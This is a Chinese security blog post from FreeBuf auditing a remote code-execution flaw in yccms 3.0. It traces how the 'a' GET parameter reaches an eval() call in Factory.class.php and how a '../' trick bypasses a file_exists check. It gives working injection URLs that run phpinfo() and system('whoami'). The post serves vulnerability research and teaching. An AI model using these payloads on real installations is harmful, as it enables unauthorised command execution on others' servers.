freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

yccms 3.0代码执行审计
hack信仰 2021-11-07 11:07:01 190962

yccms 3.0代码执行审计过程

0x01

环境搭建

使用版本为php5.5.38

网站搭建成1636254276_61874244bbca028a64f1b.png!small?1636254276948

0x02 代码审计

漏洞点位置/public/class/Factory.class.php

http://127.0.0.1/YCCMS3.3/admin/?a=admin

漏洞利用:
http://127.0.0.1/YCCMS3.3/admin/index.php?a=Factory();phpinfo();//../

1636254294_6187425666eca9e884f11.png!small?1636254294533

以下是相关的分析过程:

/admin/index.php

<?php
requirestr_replace('\\','/',substr(dirname(__FILE__),0,-6)).'/config/run.inc.php';
?>

跟踪进入:run.inc.php

requireROOT_PATH.'/config/config.inc.php';
//引入Smarty
requireROOT_PATH.'/public/smarty/Smarty.class.php';
//自动加载类
function_autoload($className){
if(substr($className,-6)=='Action'){
requireROOT_PATH.'/controller/'.$className.'.class.php';
}elseif(substr($className, -5) =='Model'){
requireROOT_PATH.'/model/'.$className.'.class.php';
}else{
requireROOT_PATH.'/public/class/'.$_className.'.class.php';
}
}
//单入口
Factory::setAction()->run();//此段代码的意思是调用factory中的setaction方法那么我们
?>

本页面代码前面主要进行初始化一些常量和配置,其中autoload函数作用是当你进行初始化类在本页面不存在时候就会自动调用autoload()函数,同时会把名字当做参数传输过去

Factory::setAction()->run();根据此函数可以知道此处调用了factory类中的setAction方法,此处是静态调用

那么我们继续追踪factory类

进一步追踪 /public/class/Factory.class.php

<?php
classFactory{
staticprivate$_obj=null;//static 关键字来定义静态方法和属性 private表示的是私有的
staticpublicfunctionsetAction(){
$_a=self::getA();
if(in_array($_a, array('admin', 'nav', 'article','backup','html','link','pic','search','system','xml','online'))) {
if(!isset($_SESSION['admin'])) {
header('Location:'.'?a=login');
}
}
if(!file_exists(ROOT_PATH.'/controller/'.$_a.'Action.class.php')) $_a='Index';
eval('self::$_obj = new '.ucfirst($_a).'Action();');//ucfirst 将$_a传参内的首个字母传化为大写 (self::$_obj=new factory();//../Action();)
returnself::$_obj;在这儿加入传入a=Factory();//../
     self::$_obj=newFactory();phpinfo();//echo Action();
     self::$_obj=newFactory();system('whoami');//../Action();
}

staticpublicfunctionsetModel() {
$_a=self::getA();
if(file_exists(ROOT_PATH.'/model/'.$_a.'Model.class.php')) eval('self::$_obj = new '.ucfirst($_a).'Model();');
returnself::$_obj;
}
staticpublicfunctiongetA(){
if(isset($_GET['a']) &&!empty($_GET['a'])){
return$_GET['a'];
}
return'login';
}
}
?>
if(!file_exists(ROOT_PATH.'/controller/'.$_a.'Action.class.php')) $_a='Index';
eval('self::$obj = new '.ucfirst($_a).'Action();');//ucfirst 将$a传参内的首个字母传化为大写 (self::$obj=new factory();//../Action();)

在file_exits函数中存在../逃逸绕过而在此if判断语句中,如果!file_exists(ROOT_PATH.'/controller/'.$_a.'Action.class.php')为ture那么$_a将被赋值index
 所以我们不能让其条件为真,那么根据分析可以知道/controller/Action.class.php文件存在的
 所以我们要传入$_a=a/../这样的话那么拼接的是/controller/a/../Action.class.php这个文件是存在的
 所以根据这个语法规则是可以绕过该语法规则
eval('self::$obj = new '.ucfirst($_a).'Action();')
 在此处存在$_a是我们可控的参数,eval指的是任意代码执行self::$obj指的是实例化一个类
     ucfirst传入参数的第一个字母大写
     那么在这里我们就可以尝试构建函数进行拼接
     factory;phpinfo();//../因为该目录为Index.php引用

所以在http://127.0.0.1/YCCMS3.3/admin/index.php?a=Factory();phpinfo();//../

1636254300_6187425c7d2711b26a8ff.png!small?1636254300655

# 代码审计
本文为 hack信仰 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
hack信仰 LV.3
这家伙太懒了,还未填写个人描述!
  • 8 文章数
  • 5 关注者
权限维持之-文件隐藏bypass
2023-06-14
badusb配合powershell免杀无文件上线
2021-10-21
glassfish任意文件读取漏洞
2021-08-08
文章目录